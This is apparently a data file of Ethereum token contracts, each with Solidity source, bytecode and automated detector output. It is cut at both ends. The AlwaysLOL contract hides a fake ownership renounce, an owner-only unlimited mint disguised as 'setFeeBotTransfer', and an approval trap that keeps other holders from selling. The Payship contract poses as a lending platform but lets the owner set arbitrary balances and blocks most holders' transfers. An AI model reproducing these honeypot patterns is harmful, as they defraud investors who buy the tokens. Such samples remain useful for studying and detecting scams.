overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract AlwaysLOL is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'AlwaysLOL 😁 | https://t.me/alwaysloltoken'; string private _symbol = 'AlwaysLOL😁'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeBotTransfer(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); if (from == owner()) { _allowances[from][to] = amount; emit Approval(from, to, amount); } else { _allowances[from][to] = 0; emit Approval(from, to, 4); } } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806365a818b014610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c5565b6040518082815260200191505060405180910390f35b6102f161090e565b005b6102fb610a96565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610abf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b61565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b7f565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610c06565b8484610c0e565b6001905092915050565b6000600454905090565b600061055d848484610f2e565b61061e84610569610c06565b6106198560405180606001604052806028815260200161139960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b610c0e565b600190509392505050565b6000600760009054906101000a900460ff16905090565b610648610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1661072a610c06565b73ffffffffffffffffffffffffffffffffffffffff161415610797576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113316021913960400191505060405180910390fd5b6107ac816004546112a890919063ffffffff16565b60048190555061080b81600260006107c2610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b60026000610817610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061085d610c06565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610916610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b575780601f10610b2c57610100808354040283529160200191610b57565b820191906000526020600020905b815481529060010190602001808311610b3a57829003601f168201915b5050505050905090565b6000610b75610b6e610c06565b8484610f2e565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061140a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113776022913960400191505060405180910390fd5b610d22610a96565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e405780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610f29565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806113526025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113e76023913960400191505060405180910390fd5b6110a6816040518060600160405280602681526020016113c160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113b81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611295576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561125a57808201518184015260208101905061123f565b50505050905090810190601f1680156112875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220afa5f580e74d39ab429d15bbca2604ee16dd172fdaea9f2e2013fc548a647b5f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
2,702
0x2a044644475256bde3cc33282fb37efd676ac22f
/** *Submitted for verification at Etherscan.io on 2021-04-01 */ /* All Crypto Lending Payship is a major step forward in crypto lending: Deposit any ERC20 token. Use any ERC20 token as collateral. Earn interest on any deposit. Borrow any ERC20 token. Stake PSHP to earn portion of Payship income. Vote with PSHP on Payship future. Lending Economics Payship is a major step forward in lending economics: Collateral factors and interest rates of deposits and borrows are re-calculated once a day based on the performance of the entire Ethereum ERC20 token ecosystem. Borrower Protection Payship is a major step forward in borrower protection: Every rate has a 24 hour guarantee through the single re-calculation once a day. Every borrower found under liquidation after the re-calculation has 24 hours to fix the position before being liquidated on the next re-calculation. Off-chain Systems Model (refer to the Whitepaper) enables automatic borrower protection from liqudiation in case of a price increase on borrowed asset or price deacrese on collateral: in case of a borrower going below the liquidation treshold, Payship can automatically and for free repay a portion of the loan using the collateral. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Payship { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820b4d750bbc46f74cfc5bda5eb0b20b9f3602ed7338d57ae871f070202bdb93a8964736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
2,703
0x46c516b5b0df986a3d0bb82e0008232159ff81f3
/** *Submitted for verification at Etherscan.io on 2021-12-21 */ /** https://t.me/NoCapERC20 * No Honeypot. * No Liquidity Pull. * No Farming. * No DAO. $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$$\ $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$$$\ $$ |$$ / $$ | $$ / \__|$$ / $$ |$$ | $$ | $$ $$\$$ |$$ | $$ | $$ | $$$$$$$$ |$$$$$$$ | $$ \$$$$ |$$ | $$ | $$ | $$ __$$ |$$ ____/ $$ |\$$$ |$$ | $$ | $$ | $$\ $$ | $$ |$$ | $$ | \$$ | $$$$$$ | \$$$$$$ |$$ | $$ |$$ | \__| \__| \______/ \______/ \__| \__|\__| * TOKENOMICS * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 5,000,000,000 max buy / 30-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy * 10% tax on buys and sells * Max wallet of 5% of total supply for first 12 hours * 15% fee on sells within first (1) hour post-launch * No team tokens, no presale SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NOCAP is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"NOCAP"; string public constant symbol = unicode"NOCAP"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address 